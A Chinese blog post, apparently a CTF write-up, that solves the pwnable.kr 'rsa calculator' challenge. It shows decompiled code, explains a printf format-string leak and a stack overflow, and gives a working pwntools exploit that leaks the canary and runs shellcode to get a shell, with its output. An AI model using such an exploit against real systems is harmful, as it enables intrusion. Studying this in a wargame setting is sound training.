【pwnable.kr】 rsa calculator

最新推荐文章于 2022-03-31 00:03:42 发布
最新推荐文章于 2022-03-31 00:03:42 发布
阅读量853 收藏 1
点赞数
分类专栏： Pwnable.kr

https://r00tnb.github.io/2018/03/14/pwnable.kr-rsa_calculator/

前言

读代码题，虽然是逆向代码，哈哈。这道题得细心找，不能急，否则就得像我一样花了很长时间在printf的漏洞利用上了，悲催。

分析

分析反编译代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

signed __int64 set_key()
{
  int v1; // [sp+18h] [bp-18h]@7
  int v2; // [sp+1Ch] [bp-14h]@7
  unsigned int i; // [sp+20h] [bp-10h]@1
  int v4; // [sp+24h] [bp-Ch]@7
  int v5; // [sp+28h] [bp-8h]@7
  __int16 v6; // [sp+2Ch] [bp-4h]@1
  __int16 v7; // [sp+2Eh] [bp-2h]@1

  puts("-SET RSA KEY-");
  printf("p : ");
  __isoc99_scanf("%d", &v6);
  printf("q : ", &v6);
  __isoc99_scanf("%d", &v7);
  printf("p, q, set to %d, %d\n", (unsigned int)v6, (unsigned int)v7);
  puts("-current private key and public keys-");
  printf("public key : ");
  for ( i = 0; i <= 7; ++i )
    printf("%02x ", pub[i]);
  printf("\npublic key : ");
  for ( i = 0; i <= 7; ++i )
    printf("%02x ", pri[i]);
  putchar(10);
  v4 = v6 * v7;
  v5 = (v6 - 1) * (v7 - 1);
  printf("N set to %d, PHI set to %d\n", (unsigned int)v4, (unsigned int)v5);
  printf("set public key exponent e : ");
  __isoc99_scanf("%d", &v1);
  printf("set private key exponent d : ", &v1);
  __isoc99_scanf("%d", &v2);
  if ( v1 < (unsigned int)v5 && v2 < (unsigned int)v5 && v2 * v1 % (unsigned int)v5 != 1 )
  {
    puts("wrong parameters for key generation");
    exit(0);
  }
  if ( (unsigned int)v4 <= 0xFF )
  {
    puts("key length too short");
    exit(0);
  }
  set_pub_key(v1, v4, (__int64)pub);
  set_pri_key(v2, v4, (__int64)pri);
  puts("key set ok");
  printf("pubkey(e,n) : (%d(%08x), %d(%08x))\n", (unsigned int)v1, (unsigned int)v1, (unsigned int)v4, (unsigned int)v4);
  printf("prikey(d,n) : (%d(%08x), %d(%08x))\n", (unsigned int)v2, (unsigned int)v2, (unsigned int)v4, (unsigned int)v4);
  is_set = 1;
  return 1LL;
}

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84

__int64 RSA_decrypt()
{
  __int64 result; // rax@2
  bool v1; // dl@10
  char *v2; // rdx@12
  char *v3; // rsi@14
  int v4; // eax@15
  __int64 v5; // rdx@18
  int v6; // [sp+Ch] [bp-634h]@3
  int v7; // [sp+10h] [bp-630h]@5
  int i; // [sp+14h] [bp-62Ch]@11
  int v9; // [sp+18h] [bp-628h]@11
  int v10; // [sp+1Ch] [bp-624h]@6
  char v11; // [sp+20h] [bp-620h]@12
  char v12; // [sp+21h] [bp-61Fh]@12
  char v13; // [sp+22h] [bp-61Eh]@12
  char ptr; // [sp+2Fh] [bp-611h]@6
  char v15[1024]; // [sp+30h] [bp-610h]@9
  char src[520]; // [sp+430h] [bp-210h]@11
  __int64 v17; // [sp+638h] [bp-8h]@1

  v17 = *MK_FP(__FS__, 40LL);
  if ( is_set )
  {
    v6 = 0;
    printf("how long is your data?(max=1024) : ");
    __isoc99_scanf("%d", &v6);
    if ( v6 <= 1024 )
    {
      v7 = 0;
      fgetc(stdin);
      puts("paste your hex encoded data");
      while ( 1 )
      {
        v1 = v6-- != 0;
        if ( !v1 )
          break;
        v10 = fread(&ptr, 1uLL, 1uLL, stdin);
        if ( !v10 )
          exit(0);
        if ( ptr == 10 )
          break;
        v15[v7++] = ptr;
      }
      memset(src, 0, 0x200uLL);
      i = 0;
      v9 = 0;
      while ( 2 * v7 > i )
      {
        v11 = v15[i];
        v12 = v15[i + 1];
        v13 = 0;
        v2 = &src[v9++];
        __isoc99_sscanf(&v11, "%02x", v2);
        i += 2;
      }
      v3 = src;
      memcpy(g_ebuf, src, v7);
      for ( i = 0; v7 / 8 > i; ++i )
      {
        v3 = pri;
        v4 = decrypt(g_ebuf[i], (__int64)pri);
        *(&g_pbuf + i) = v4;
      }
      *(&g_pbuf + i) = 0;
      puts("- decrypted result -");
      printf(&g_pbuf, v3);                      // /格式化字符串漏洞
      putchar(10);
      result = 0LL;
    }
    else
    {
      puts("data length exceeds buffer size");
      result = 0LL;
    }
  }
  else
  {
    puts("set RSA key first");
    result = 0LL;
  }
  v5 = *MK_FP(__FS__, 40LL) ^ v17;
  return result;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int *v3; // rsi@1
  bool v5; // dl@4
  int v6; // [sp+Ch] [bp-4h]@1

  setvbuf(stdout, 0LL, 2, 0LL);
  v3 = 0LL;
  setvbuf(stdin, 0LL, 1, 0LL);
  puts("- Buggy RSA Calculator -\n");
  func[0] = (__int64)set_key;
  qword_602508 = (__int64)RSA_encrypt;
  qword_602510 = (__int64)RSA_decrypt;
  qword_602518 = (__int64)help;
  qword_602520 = (__int64)myexit;
  dword_602528 = 1634629488;
  dword_60252C = 778398818;
  dword_602530 = 1936290411;
  dword_602534 = 1953719650;
  qword_602538 = (__int64)system;
  v6 = 0;
  while ( 1 )
  {
    puts("\n- select menu -");
    puts("- 1. : set key pair");
    puts("- 2. : encrypt");
    puts("- 3. : decrypt");
    puts("- 4. : help");
    puts("- 5. : exit");
    printf("> ", v3);
    v3 = &v6;
    __isoc99_scanf("%d", &v6);
    if ( (unsigned int)(v6 + 1) > 6 )
      break;
    ((void (__fastcall *)(const char *, int *))func[(unsigned __int64)(unsigned int)(v6 - 1)])("%d", &v6);
    v5 = g_try++ > 10;
    if ( v5 )
    {
      puts("this is demo version");
      exit(0);
    }
  }
  puts("invalid menu");
  return 0;
}

代码对于我来说还是有点长的，哈哈。贴了几个关键的函数，大致分析一下程序很容易找到在RSA_decrypt函数中存在printf格式化字符串漏洞，利用该漏洞可以读写内存。但是仔细分析后发现，仅仅利用该漏洞无法更改返回地址或则是got表。那就需要寻找另外的漏洞了。
接下来就是仔细分析程序各个部分的功能找出漏洞，经过简单分析可以发现另外两处漏洞。

  • set_key函数在设置key时没有严格按照RSA算法的要求（具体算法百度），导致可以很容易设置想要的值。
  • RSA_decrypt函数中，在向src变量赋值时存在栈溢出。

主要看看这个栈溢出。输入的密文v15是一个16进制编码的字符串，这里就是将v15转化为字符串存到src中。如果v15的长度为最大1024字节，那么这里的循环次数就是2×v7/2=1024，而每次循环src都要赋一个字节的值，所以循环520次后就开始覆盖栈的其他空间了。继续分析，其实当循环512次后v15的索引就已经越界了，其后就是src变量。那么后续覆盖返回地址和写shellcode就是使用src中的16进制编码的字符串了。当然RSA_decrypt函数是有stack canary的，需要先利用格式化字符串漏洞leak出来。
整理利用思路，这里我先leak处canary，然后利用栈溢出覆盖返回地址为pri变量的地址之后跟shellcode，并利用set_key函数的缺陷设置pri的值为jmp rsp指令。这样当函数返回时会跳转到pri执行jmp rsp从而执行shell。下面贴出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

from pwn import *

def strToHex(s):
    ret = ''
    for i in s:
        ret += '{:02x}'.format(ord(i))
    return ret

def work(DEBUG):
    context(arch='amd64',os='linux',log_level='info')
    if DEBUG:
        r = process('./rsa_calculator')
    else:
        r = remote('pwnable.kr',9012)
        
    pri_addr = 0x602960
        
    #set key
    r.sendline('1')
    r.recvuntil('p : ')
    r.sendline('61\n53\n17\n2753')
    
    #get stack canary
    r.sendline('2\n1024\n%205$016lx')
    r.recvuntil('(hex encoded) -\n')
    cipher = r.recvline()
    r.sendline('3\n1024\n'+cipher)
    r.recvuntil('- decrypted result -\n')
    stack_canary = int(r.recvline(),16)
    
    #get shell
    r.sendline('1\n3\n29312\n1\n58623') #asm('jmp rsp')=0xe4ff=58623
    r.recvuntil('> ')
    tmp = strToHex('a'*8+p64(stack_canary)+'a'*8+p64(pri_addr)+asm(shellcraft.sh())) #set retaddr=pri_addr
    r.sendline('3\n1024\n'+strToHex(tmp+'30'*(1024-len(tmp))))
    
    r.interactive()
    


work(False)

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

root@1:~/桌面/test$ python 1.py 
[+] Opening connection to pwnable.kr on port 9012: Done
[*] Switching to interactive mode
-SET RSA KEY-
p : q : p, q, set to 3, 29312
-current private key and public keys-
public key : 11 00 00 00 a1 0c 00 00 
public key : c1 0a 00 00 a1 0c 00 00 
N set to 87936, PHI set to 58622
set public key exponent e : set private key exponent d : key set ok
pubkey(e,n) : (1(00000001), 87936(00015780))
prikey(d,n) : (58623(0000e4ff), 87936(00015780))

- select menu -
- 1. : set key pair
- 2. : encrypt
- 3. : decrypt
- 4. : help
- 5. : exit
> how long is your data?(max=1024) : paste your hex encoded data
- decrypted result -

$ ls
flag
log
rsa_calculator
super.pl
$ cat flag
what a stupid buggy rsa calculator! :(
$

总结

读逆向代码要细心，不能急躁，否则可能会花很多时间。

子曰小玖
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
RSATool计算器
06-21
RSATool(rsa计算器)是一款不错的RSA计算工具，RSA产生密钥对的速度还是比较快的，大家可以借鉴一下。 RSATool(rsa计算器) 介绍： 支持RSA密钥产生（包括CRT）、RSA运算、强素数生成、大数运算等功能。用了的都说好。
RSA-Calculator:RSA是现代计算机用来加密和解密消息的算法。 它是一种非对称密码算法。 非对称意味着有两个不同的密钥。 这也称为公共密钥密码术，因为可以将其中之一提供给所有人。 另一个密钥必须保密。 它基于这样一个事实，即找到整数的因数很难（因数分解问题）。 RSA代表Ron Rivest，Adi Shamir和Leonard Adleman，他们于1978年首次公开描述它。RSA的用户创建并随后发布两个大质数的乘积以及一个辅助值作为其公钥。 主要因素必须保密。 任何人都可以使用公共密钥对消
05-08
带有python中的tkinter GUI的RSA-Calculator RSA是现代计算机用来加密和解密消息的算法。 它是一种非对称密码算法。 非对称意味着有两个不同的密钥。 这也称为公共密钥密码术，因为可以将其中之一提供给所有人。 另一个密钥必须保密。 它基于这样一个事实，即找到整数的因数很难（因数分解问题）。 RSA代表Ron Rivest，Adi Shamir和Leonard Adleman，他们于1978年首次公开描述它。RSA的用户创建并随后发布两个大质数的乘积以及一个辅助值作为其公钥。 主要因素必须保密。 任何人都可以使用公共密钥对消息进行加密，但是使用当前发布的方法，如果公共密钥足够大，则只有了解素数因素的人才能对消息进行解码。
非对称加密与RSA算法
球球的博客
03-31 938
RSA算法,费马小定理,拓展欧几里得定理,快速幂算法
漫画：什么是AES算法？
09-21 434
https://www.sohu.com/a/201169795_466846 假设有一个发送方在向接收方发送消息。如果没有任何加密算法，接收方发送的是一个明文消息：“我是小灰” 如果消息被中间人截获到，即使中间人无法篡改消息，也可以窥探到消息的内容，从而暴露了通信双方的私密。 因此我们不再直接传送明文，而改用对称加密的方式传输密文，画风就变成了下面这样： 具体工作的步骤如下： 1.发送方利用密钥123456，加密明文“我是小灰”，加密结果为TNYRvx+SNjZwEK.
了解RSA加密背后的数字理论
专业的开发者“讨论”
04-23 432
经过几个月的资格考试，我认为自己可以记录一些我&#23558...
利用RSA-Tool和Big Integer Calculator工具解密
PP_zi的博客
12-13 5386
目录 目的： 内容 器材（设备、元器件） 步骤 1.打开RSA-tool 3.打开Big Integer Calculator 目的： 利用工具完成解密计算 内容 已知n、e和密文 求明文 器材（设备、元器件） RSA-Tool、Big Integ 步骤 已知n、e和密文 求明文 解题链接： http://ctf5.shiyanbar.c...
编写一个类Calculator，实现加减乘除四种运算
热门推荐
y_y__d_d的博客
10-01 1万+
PS:类Calculator有两个属性num1,num2,这两个数据的值，不能在定义的同时初始化 创建类： class Calculator{ private int num1; private int num2; private int sum; public Calculator(int num1 , int num2){ this.nu...
[BUUCTF－pwn] noxctf2018_the_name_calculator
weixin_52640415的博客
12-31 430
printf格式化字符串漏洞 漏洞点： main中读name有溢出，覆盖到v4可以进入下一步 int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { char buf[28]; // [esp+Ch] [ebp-2Ch] BYREF int v4; // [esp+28h] [ebp-10h] unsigned int v5; // [esp+2Ch] [ebp-Ch] v5 = _
逆向工程实验大作业 pwnable.kr - rsa_calculator
一半西瓜的博客
12-03 1040
pwnable.kr - rsa_calculator Li XJ Dong TF Miao X 赞赏码 & 联系方式 & 个人闲话 逆向工程前言
RSA密钥计算器
06-29
简单RSA密钥计算器，用于学习。
node-rsa：Node.js RSA库
02-04
节点RSA Node.js RSA库基于Tom Wu的jsbn库 纯JavaScript 不需要OpenSSL 产生金钥 支持长消息进行加密/解密 签名和验证 例 const NodeRSA = require ( 'node-rsa' ) ; const key = new NodeRSA ( { b : 512 } ) ;...
security.js实现的RSA加密功能示例
10-18
主要介绍了security.js实现的RSA加密功能,结合实例形式分析了基于security.js进行RSA加密的相关操作技巧,需要的朋友可以参考下
rsa.rar_RSA.exe_rsa
09-21
用C++实现rsa算法，直接用.exe文件运行就可以了
RSA.zip_RSA.c_rsa
09-21
RSA algorithm for public keys.
RSA.c.zip_RSA.c_rsa
09-20
RSA algorithm to Encrypt and decrypt the requird data
pwnable.kr - md5 calculator
加号减减号的博客
03-07 1796
题目简介 分析 wirteup 参考资料 题目简介 题目给出的信息如下： 可知该题实现了一个 MD5 计算器，并且给出了一个提示，提示稍后再说。做这道题我学到了一个新的技能，就是 python 里面的 os.popen() 的用法，觉得十分有用，希望对大家也有帮助。 分析 下载得到文件，IDA 分析得到 main 函数如下： 这里可以得知几个关键的信息，...
【pwnable.kr】 md5 calculator
子曰小玖的博客
06-06 517
https://r00tnb.github.io/2018/02/25/pwnable.kr-md5%20calculator/ 前言 也是一个很有pwn味道的题目，涉及的知识在掌握范围内所以做起来很爽！ 分析 题目只给了可执行文件hash。于是就放到ida中逆向了。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21...
pwnable md5 calculator(随机数生成)
九层台
09-28 480
开启了canary和NX保护 int __cdecl main(int argc, const char **argv, const char **envp) { unsigned int v3; // eax int v5; // [esp+18h] [ebp-8h] int v6; // [esp+1Ch] [ebp-4h] setvbuf(stdout, 0, 1, 0);...
node.js rsa
最新发布
08-16
Node.js中的RSA加密算法可以通过使用`crypto`模块来实现。以下是一个使用RSA算法进行加密和解密的示例： ```javascript const crypto = require('crypto'); // 生成RSA密钥对 const { publicKey, privateKey } = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, // 密钥长度 }); // 要加密的数据 const plaintext = 'Hello, RSA!'; // 使用公钥进行加密 const encryptedData = crypto.publicEncrypt(publicKey, Buffer.from(plaintext, 'utf8')); console.log('加密后的数据:', encryptedData.toString('base64')); // 使用私钥进行解密 const decryptedData = crypto.privateDecrypt(privateKey, encryptedData); console.log('解密后的数据:', decryptedData.toString('utf8')); ``` 在上面的示例中，我们首先使用`crypto.generateKeyPairSync`方法生成了一个RSA密钥对。然后，我们将要加密的数据转换为Buffer，并使用公钥对其进行加密。最后，我们使用私钥对加密后的数据进行解密，得到原始的明文数据。 请注意，上述示例中仅使用了同步的方法。在实际应用中，您可能需要使用异步方法来处理大量数据或避免阻塞主线程。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值